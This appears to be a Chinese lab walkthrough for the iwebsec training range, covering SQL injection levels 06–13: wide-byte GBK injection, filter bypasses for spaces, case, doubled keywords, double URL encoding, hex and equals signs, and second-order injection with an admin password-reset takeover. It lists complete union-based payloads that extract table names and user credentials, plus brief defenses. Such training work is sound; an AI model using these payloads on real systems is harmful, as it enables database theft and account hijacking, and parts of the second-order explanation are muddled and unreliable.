当前位置: 首页 > news >正文

iwebsec靶场sqli注入(2)

​​​​​​06-宽字节注入

1,该漏洞的根本原因是字符集处理不一致(GBK双字节特性)与不安全的转义方式addslashes)共同导致。构造基础sql注入语句

1%df%27%20%23

漏洞原理

  1. 字符集设置:mysql_query("SET NAMES gbk") 将连接字符集设置为GBK(一种双字节编码)。
  2. 输入处理:使用addslashes($_GET['id'])转义特殊字符(如单引号'会被转义为\')。
  3. 漏洞触发:当输入中包含%df'时:
    • addslashes将其转义为%df\'(即%df%5c%27)
    • GBK解码时,%df%5c被解析为汉字"運"(%df%5c是GBK编码中的合法字符)
    • 最终单引号'逃逸:...id='運'... → 导致SQL语句闭合被破坏

2,其他步骤和sql注入的基本操作是一样的,先判断当前查询的数据表有几列

1%df%27%20order%20by%203%23

1%df%27%20order%20by%204%23

然后就是判断查询语句的回显位置

-1%df%27%20union%20select%201,2,3%23

确认三个都是回显位置之后,再爆出数据库名

-1%df%27%20union%20select%201,version(),database()%23

-1%df%27%20union%20select%201,2,group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database()%23

-1%df%27%20union%20select%201,2,group_concat(column_name)%20from%20information_schema.columns%20where%20table_schema=database()%20and%20table_name=0x73716c69%20--%20

原内容

修正后

原因

table_name='sqli'

table_name=0x73716c69

避免引号被转义,0x73716c69 是 'sqli' 的十六进制

--+

--%20

确保注释符后有空格(%20 是 URL 编码的空格)

开头 -1%df%27

保留

利用宽字节注入绕过转义(%df' → 運'

-1%df%27%20union%20select%20id,username,password%20from%20sqli--%20

07-空格过滤绕过

1,首先分析源代码,代码如何实现的空格绕过

空格过滤实现机制

if (preg_match('/ /', $_GET["id"])) {
    die("ERROR");
}

  1. 正则表达式过滤:使用 preg_match('/ /', ...) 检测输入中是否包含空格字符
  2. 检测到空格立即终止:如果输入中包含任何空格(ASCII 32),直接执行 die("ERROR") 终止脚本
  3. 过滤位置:在SQL查询构造前进行过滤,位于用户输入处理阶段

关键安全漏洞

虽然过滤了空格,但存在严重的SQL注入漏洞:

$id=$_GET['id']; // 未做任何转义或过滤
$sql="SELECT * FROM user WHERE id=$id LIMIT 0,1"; // 直接拼接

  1. 数字型注入:参数直接拼接到SQL语句中,没有引号包裹
  2. 无其他防护:缺少参数化查询、类型转换等安全措施
  3. 错误信息暴露:print_r(mysql_error()) 会显示详细数据库错误

绕过空格过滤的方法

攻击者可以使用以下字符替代空格:

1. 水平制表符 (TAB)

?id=1%09UNION%09SELECT%091,2,3

2. 换行符

?id=1%0aUNION%0aSELECT%0a1,version(),3

3. 注释符 /**/

?id=1/**/UNION/**/SELECT/**/1,2,database()

4. 括号包裹

?id=(1)UNION(SELECT(1),2,3)

 

2,构造关键攻击语句,四种方法均可

(1)#

1%09#

1%0a#

1/**/#

第一步,判断查询数据表有几列

1/**/order/**/by/**/3#

1/**/order/**/by/**/4#

1/**/union/**/select/**/1,2,3#

-1/**/union/**/select/**/1,version(),database()#

-1/**/union/**/select/**/1,2,group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database()#

-1/**/union/**/select/**/1,2,group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_schema=database()/**/and/**/table_name='sqli'#

-1/**/union/**/select/**/id,username,password/**/from/**/sqli--

在 SQL 注入中,# 和 -- 注释符的行为差异主要与 URL 编码和 SQL 语法有关。以下是详细解释:

根本原因

  1. URL 中 # 的特殊含义:
  • # 在 URL 中是片段标识符(fragment identifier),浏览器不会将 # 及之后的内容发送到服务器
  • 例如:example.com/test.php?id=1#comment → 服务器只收到 id=1
  1. -- 注释的要求:
  • SQL 标准要求 -- 后必须有空格才能生效
  • 在 URL 中需用 --++ 被解码为空格)或 --%20(%20 是空格编码)

 

08-大小写过滤绕过

1,大小写过滤实现方法

if (preg_match('/select/', $_GET["id"])) {
    die("ERROR");
}

  • 正则表达式过滤:使用 preg_match('/select/', ...) 检测输入中是否包含小写字符串 "select"
  • 区分大小写:正则表达式默认区分大小写,只匹配小写 select
  • 检测到即终止:发现小写 select 时立即终止脚本 (die("ERROR"))

2,尝试order by注释符判断数据表存在几列

1 order by 4 --+

再尝试union select爆出数据库名

1 union SELECT 1,2,3 --+

1 union SELECT 1,version(),database() --+

1 union SELECT 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+

1 union SELECT 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='sqli'--+

1 union SELECT id,username,password from sqli--+

09-双写关键字绕过

过滤逻辑分析

$id = preg_replace('/select/i', '', $_GET["id"]);

  1. 正则表达式过滤:
  • 模式:/select/i
  • i 修饰符:不区分大小写(匹配 SELECT、select、SeLeCt 等)
  • 功能:删除输入中所有出现的 "select" 字符串(不区分大小写)
  1. 处理流程:
  • 获取用户输入的 id 参数
  • 删除其中所有 "select" 字符串(不区分大小写)
  • 将处理后的字符串用于 SQL 查询拼接

双写绕过原理

攻击者通过构造双写关键字来绕过过滤:

  1. 过滤机制缺陷:仅执行一次字符串替换
  2. 绕过方法:插入 selselectect → 过滤后变为 select
  • 原始输入:selselectect
  • 过滤过程:
  • 删除中间的 "select" → sel[删除]ect
  • 结果:select

1,sql注入语句的基本格式是1 --+,尝试判断数据表存在多少列

1 order by 3--+

1 order by 4--+

2,然后再union select判断查询语句的回显位置,需要注意使用双写绕过

1 union%20 selselectect%20 1,2,3--+

1 union%20 selselectect%20 1,version(),database()--+

1 union%20 selselectect%20 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+

1 union%20 selselectect%20 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='sqli'--+

1 union%20 selselectect%20 id,username,password from sqli--+

10-双重url编码绕过

防御机制分析

if (preg_match('/select/', $_GET["id"])) {
    die("ERROR");
} else {
    $id = urldecode($_GET['id']);  // 关键漏洞点
    $sql="SELECT * FROM user WHERE id=$id LIMIT 0,1";
}

  1. 关键词过滤:
  • 使用 preg_match('/select/', ...) 检测原始GET参数中是否包含小写字符串 "select"
  • 检测到即终止脚本 (die("ERROR"))
  1. URL解码处理:
  • 对过滤后的参数执行 urldecode() 解码
  • 将解码后的值直接拼接到SQL查询中

1,尝试构造注入语句

?id=-1 %25%37%35%25%36%65%25%36%39%25%36%66%25%36%65%25%32%30%25%37%33%25%36%35%25%36%63%25%36%35%25%36%33%25%37%34 1,2,3#

爆库

?id=-1 %25%37%35%25%36%65%25%36%39%25%36%66%25%36%65%25%32%30%25%37%33%25%36%35%25%36%63%25%36%35%25%36%33%25%37%34 1,2,database()#

爆表

?id=-1 %25%37%35%25%36%65%25%36%39%25%36%66%25%36%65%25%32%30%25%37%33%25%36%35%25%36%63%25%36%35%25%36%33%25%37%34 1,2,group_concat(table_name) from information_schema.tables where table_schema=0x69776562736563#

爆列

?id=-1 %25%37%35%25%36%65%25%36%39%25%36%66%25%36%65%25%32%30%25%37%33%25%36%35%25%36%63%25%36%35%25%36%33%25%37%34 1,2,group_concat(column_name) from information_schema.columns where table_name=0x75736572#

爆数据

?id=-1 %25%37%35%25%36%65%25%36%39%25%36%66%25%36%65%25%32%30%25%37%33%25%36%35%25%36%63%25%36%35%25%36%33%25%37%34 1,2,group_concat(concat_ws(0x7e,username,password)) from iwebsec.user#

11-十六进制绕过

防御机制分析

if (!get_magic_quotes_gpc()) {  
   
$id = addslashes($_GET['id']);
    $sql="SELECT * FROM user WHERE id=$id LIMIT 0,1";
    $result=mysql_query($sql);          
}else{
    $id =$_GET['id'];        
   
$sql="SELECT * FROM user WHERE id=$id LIMIT 0,1";
    $result=mysql_query($sql);
}

  1. get_magic_quotes_gpc()检测:
  • 检查PHP配置中magic_quotes_gpc是否开启
  • 该功能在PHP 5.4+已被移除,现代PHP环境总是进入if分支
  1. addslashes()转义:
  • 在特殊字符('"\NULL)前添加反斜杠
  • 示例:' → \'" → \"

关键安全漏洞

1. 数字型注入漏洞

$sql="SELECT * FROM user WHERE id=$id LIMIT 0,1";

  • 致命缺陷:参数直接拼接到SQL语句,没有引号包裹
  • addslashes()对数字型注入完全无效
  • 攻击者可以构造任意SQL表达式

2. 十六进制绕过机会

当需要字符串参数时,可使用十六进制编码绕过addslashes()

SELECT * FROM user WHERE id=0x31 OR 1=1

 

1,构造漏洞利用语句

1 order by 3 --+

1 order by 4 --+

2,尝试判断数据表存在几列

1 union select 1,2,3--+

1 union select 1,version(),database()--+

1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+

1 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='sqli'--+

-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x73716c69

1 union select 1,2,(select group_concat(concat(id,0x7e,username,0x3A,password,0x7e)) from sqli)--+

12-等价函数替换过滤绕过

过滤逻辑分析

1. 等号过滤机制

if (preg_match('/=/', $_GET["id"])) {
    die("ERROR");
}

  • 正则表达式:/=/ 匹配参数中任何位置的等号 =
  • 拦截效果:只要 id 参数包含等号(即使是 URL 编码的 %3D),立即终止脚本并返回 "ERROR"
  • 绕过关键:构造不包含等号但能实现 SQL 注入的 Payload

2. SQL 查询结构

$sql = "SELECT * FROM user WHERE id=$id LIMIT 0,1";

  • 注入点类型:数字型注入(无引号包裹)
  • 漏洞位置:$id 直接拼接进 SQL 语句
  • 可利用点:无需闭合引号,可直接注入 SQL 代码

3. 错误信息泄露

print_r(mysql_error());

  • 关键优势:SQL 报错信息直接输出,支持报错注入
  • 利用价值:可通过错误信息获取数据库结构、查询内容等敏感数据

绕过方案(避免使用等号)

方案 1:使用 LIKE 替代等号(联合查询注入)

/12.php?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema like database() and table_name like 0x73716c69--+

绕过原理:

  • LIKE 实现字符串匹配,功能等效于 =
  • 0x73716c69 是 'sqli' 的十六进制,避免单引号

Payload 分解:

  • -1:使原查询无结果,联合查询结果可见
  • like database():替代 = database()
  • like 0x73716c69:替代 = 'sqli'

方案 2:使用 REGEXP 正则匹配

/12.php?id=1 or table_schema regexp database()--+

  • 优势:正则匹配更灵活,可处理部分匹配
  • 典型场景:布尔盲注中逐字符判断

/12.php?id=1 or (select database()) regexp '^a'--+

完整利用链示例

步骤 1:获取表名

/12.php?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema like database()--+

步骤 2:获取列名

/12.php?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema like database() and table_name like 0x73716c69--+

步骤 3:提取数据

/12.php?id=-1 union select 1,username,password from sqli--+

13-二次注入

二次注入原理分析

漏洞核心流程

  1. 输入阶段:用户提交恶意数据(含 SQL 片段)
  2. 安全处理:addslashes() 转义特殊字符(如 ' → \'
  3. 存储阶段:转义后的数据存入数据库
  4. 取出阶段:从数据库取出原始数据(转义符被丢弃)
  5. 执行阶段:原始恶意数据拼接到 SQL 语句执行

漏洞存在点分析

// 1. 输入处理(注册时)
$username=addslashes($_POST['username']); // 转义特殊字符
// 存入数据库示例:admin'# → 存储为 "admin\'#"

// 2. 漏洞触发点(reset.php)
// 假设 reset.php 中有如下代码:
$email = $_POST['email']; // 从表单获取邮箱
$sql = "SELECT username FROM sqli WHERE email='$email'"; // 二次注入点

漏洞利用演示

  1. 注册恶意账户:
  • 用户名:admin'# (转义后存储为 admin\'#)
  • 密码:任意值
  • 邮箱:attacker@example.com
  1. 数据库实际存储:

username

password

email

admin'#

123456

attacker@example.com

  • 注意:数据库存储 原始值 admin'#(反斜杠仅存在于插入时的转义过程)
  1. 密码重置攻击:
    // reset.php 代码示例
    $email = $_POST['email']; // 用户输入:attacker@example.com
    $sql = "UPDATE sqli SET password='new_pass' WHERE email='$email'";
    // 实际执行:
    // UPDATE sqli SET password='new_pass' WHERE email='attacker@example.com'
  • 看似安全,但攻击者可构造:
    $email = "attacker@example.com' AND username='admin'#";
  1. 最终 SQL:
    UPDATE sqli SET password='new_pass'
    WHERE email='attacker@example.com' AND username='admin'
    #'
  2. 效果:将 admin 用户的密码重置为 new_pass

漏洞本质原因

  1. 转义机制失效:
  • addslashes() 仅在 数据插入时 提供保护
  • 当数据从数据库取出后,原始值被直接使用,转义符消失
  1. 数据信任错误:
  • 开发者误认为"存入数据库的数据都是安全的"
  • 未对从数据库取出的数据做二次验证
  1. 上下文差异:
  • 注册时:数据作为 VALUES 部分被插入
  • 重置时:数据作为 WHERE 条件被执行

漏洞利用步骤

  1. 注册恶意账户:
    POST /reg.php HTTP/1.1
    Content-Type: application/x-www-form-urlencoded

    username=admin'#&password=attack&email=attacker@example.com
  2. 触发密码重置:
    POST /reset.php HTTP/1.1
    Content-Type: application/x-www-form-urlencoded

    email=attacker@example.com' AND username='admin'#
  3. 实际执行 SQL:
    UPDATE sqli SET password='new_pass'
    WHERE email='attacker@example.com' AND username='admin'
    #'
  • # 注释掉后续单引号
  • 条件成立:同时匹配攻击者邮箱和 admin 用户名

防御方案

  1. 统一输出过滤:
    // 从数据库取出数据后再次转义
    $email = mysql_real_escape_string($row['email']);
  2. 使用预处理语句:
    // reset.php 中
    $stmt = $pdo->prepare("UPDATE sqli SET password=? WHERE email=?");
    $stmt->execute([$new_pass, $email]);
  3. 数据分级管理:
  • 区分用户输入数据 vs 系统存储数据
  • 对所有动态值进行参数化处理
  1. 最小权限原则:
  • 密码重置功能使用独立低权限账户
  • 禁止执行多行 SQL

漏洞验证方法

  1. 注册用户名为 test' OR '1'='1 的账户
  2. 尝试用邮箱 任意值 重置密码
  3. 观察是否重置所有用户密码(或报错信息泄露)

1,注册用户名填admin'#,密码填123,邮箱填admin

然后通过邮箱找回

抓个包分析即可。首先注册用户

然后找回密码

http://www.lryc.cn/news/574820.html

相关文章:

  • Vue3+Spring boot 前后端防抖增强方案
  • 学习记录:DAY33
  • 2025年渗透测试面试题总结-2025年HW(护网面试) 09(题目+回答)
  • HarmonyOS开发基础 --面向鸿蒙的TypeScript基础语法一文入门
  • 大模型本地部署,拥有属于自己的ChatGpt
  • 《仿盒马》app开发技术分享-- 兑换列表展示(68)
  • OSS安全合规实战:金融行业敏感数据加密+KMS自动轮转策略(满足等保2.0三级要求)
  • 如何使用MQTTX软件来进行MQTT协议的测试
  • # Python中等于号的使用
  • 逆向入门(7)汇编篇-mul指令的学习
  • DAY 41 简单CNN
  • 防御OSS Bucket泄露:RAM权限策略+日志审计+敏感数据扫描三重防护
  • DeepSeek智能总结 | 邓紫棋音乐版权纠纷核心梳理
  • 软件工程:从理论到实践,构建可靠软件的艺术与科学
  • 智慧家政数字化小程序开发:重构行业服务生态的创新引擎
  • 代码随想录|图论|01图论基础
  • 医药企业CMO研发管线管理专项介绍
  • 50天50个小项目 (Vue3 + Tailwindcss V4) ✨ | MovieApp(电影卡片组件)
  • ArkTS与仓颉开发语言:鸿蒙编程的双子星
  • day41
  • 深入理解 BOM:浏览器对象模型详解
  • IoTDB的基本概念及常用命令
  • 【css】增强 CSS 的复用性与灵活性的Mixins
  • ArkUI-X通过Stage模型开发Android端应用指南(二)
  • 【软考高级系统架构论文】### 论软件系统架构评估
  • linux grep的一些坑
  • 接口自动化测试之 pytest 接口关联框架封装
  • Unity_导航操作(鼠标控制人物移动)_运动动画
  • matplotilb实现对MACD的实战
  • SQL关键字三分钟入门:UPDATE —— 修改数据